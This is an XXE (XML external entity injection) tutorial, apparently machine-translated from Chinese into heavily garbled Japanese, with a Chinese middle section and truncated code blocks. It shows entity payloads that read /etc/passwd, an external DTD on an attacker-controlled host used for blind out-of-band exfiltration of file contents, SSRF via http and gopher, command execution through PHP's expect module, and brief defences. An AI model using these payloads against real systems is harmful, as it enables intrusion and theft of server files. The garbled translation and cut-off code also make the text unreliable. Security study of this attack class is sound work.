XML注射の前にちょうど科学でなく、アイデアを理解するためにそれを見るために、非接触されていません。
-----------------------------------------------
ディレクトリ
- XMLの基礎
- いくつかのエンティティXMLインジェクションの脆弱性姿勢
- XMLインジェクションの脆弱性防衛エンティティ
XMLの基礎
XMLは、構造化マークアップ言語を持っている電子文書をマーキングするために、マークデータに使用することができ、構造化マークアップ言語を持っている電子文書のためのマーカーである定義のデータ型、自分のユーザーを許可しますソース言語を定義するマークアップ言語。XML宣言、DTD文書型定義(オプション)、文書要素を含むXML文書構造。
ここではXMLの技術基盤は、私が興味を持っジュニアパートナーはいくつかのリンクにより、XMLの基礎を学ぶために行くことができ、詳細な解釈ではありません。
- https://www.xml.com/axml/axml.html
- http://www.w3school.com.cn/xml/index.asp
- https://www.ibm.com/developerworks/cn/xml/x-newxml/
もちろん、読者が上記の練習のいずれかの後の文書を読み、知識のスパンを回避するためには、状況に大きすぎる、見た目の少し知識があるか理解していない、見下し続けることをお勧めします。
XMLエンティティを注入基礎
悪質なコンテンツを構築することにより、外部エンティティを参照するために許可されている場合、それは、ファイルを読むための任意の害をもたらすシステムコマンドを実行し、ウェブサイトを攻撃するために、ネットワーク内のネットワークポートを検出することができます。
単純なXMLを理解した後、我々はあなたがXMLで特殊文字を使用したい知っている、あなたは、あなたがコンテンツを利用することができ、そのうちのいくつかが繰り返しエンティティに設定することができます(会社名など)句を使用してもよいし、物理的な文字を使用する必要があります。
それは名前のとおり宣言するconame
の価値QiHoo 360
実体を。
1 |
<!DOCTYPE UserDataの[<!ENTITYのconame "Qihooは360">]> |
XML内のエンティティを使用するには、使用が&coname;
可能。
次のように脆弱性を実証するために、我々は、簡単なPHPスクリプトを記述します。
1 |
<?phpの |
ここでの仮定は、我々は、ユーザーが入力したいということです。
1 |
<?xmlのバージョン= "1.0"エンコード= "UTF-8"> |
そして、次のページに戻ることができます。
いくつかのエンティティXMLインジェクションの脆弱性姿勢
方法1:
1 |
<DOCTYPE [<ENTITY SYSTEM B "ファイル:/// etc / passwdファイル"!>]!> |
方法2:
1 |
<!DOCTYPE [<ENTITY%dのシステム"!http://www.hackersb.cn/attack.dtd ">%D; ]> |
どこattack.dtd
内容は次のとおりです。
1 |
<!ENTITY SYSTEM B "ファイル:/// etc / passwdファイル"> |
方法3:
1 |
<!DOCTYPE SYSTEM " http://www.hackersb.cn/attack.dtd "> |
どこattack.dtd
そのまま上記の内容。
我々はすべてのローカルファイルを読み取ることができ、注射を使用してXMLエンティティ。
读取任意文件的思路大概就是引入一个实体,实体内容为本地文件。
使用我们如上说的任意一种方法即可实现,我这里使用第一个(因为最方便)。
构造payload如下:
1 |
<?xml version="1.0" encoding="utf-8" ?> |
提交后查看返回信息:
可以看到成功读取了/etc/passwd
文件。
如果我们实战中所在的场景下XML并没有回显,我们也可以使用另外一种方法读取文件。
1 |
<!DOCTYPE a [ |
其中attack.dtd
的内容为:
1 |
<!ENTITY % all |
发送payload以后就可以在http://www.hackersb.cn/
的访问日志中看到请求且带上了/etc/passwd
文件base64加密以后的内容:
我们既然可以使用file
协议读取本地文件,当然也可以使用http
协议访问来造成SSRF攻击,甚至可以使用gopher
协议。
具体能使用的协议主要取决于PHP,PHP默认支持file、http、ftp、php、compress、data、glob、phar、gopher协议。
如果PHP支持except
模块,我们还可以利用except
模块来执行系统命令。
简单的SSRF攻击实例如下:
1 |
<?xmlのバージョン= "1.0"エンコード= "UTF-8"?> |
あなたは、その後の訪問を聞くことができます。
SSRF攻撃が成功することができ、我々は当然、その後、エンタープライズ・ネットワーク・システムを攻撃することができます。
他のより害は、それがOWASPのドキュメントを参照してくださいすることができます:
https://www.owasp.org/images/5/5d/XML_Exteral_Entity_Attack.pdf
XMLインジェクションの脆弱性防衛エンティティ
- 外部エンティティを使用してXMLを無効にします
- あなたは、フィルタリングを行ってください必要がある場合、XMLコードに直接ユーザーをさせないようにしてください。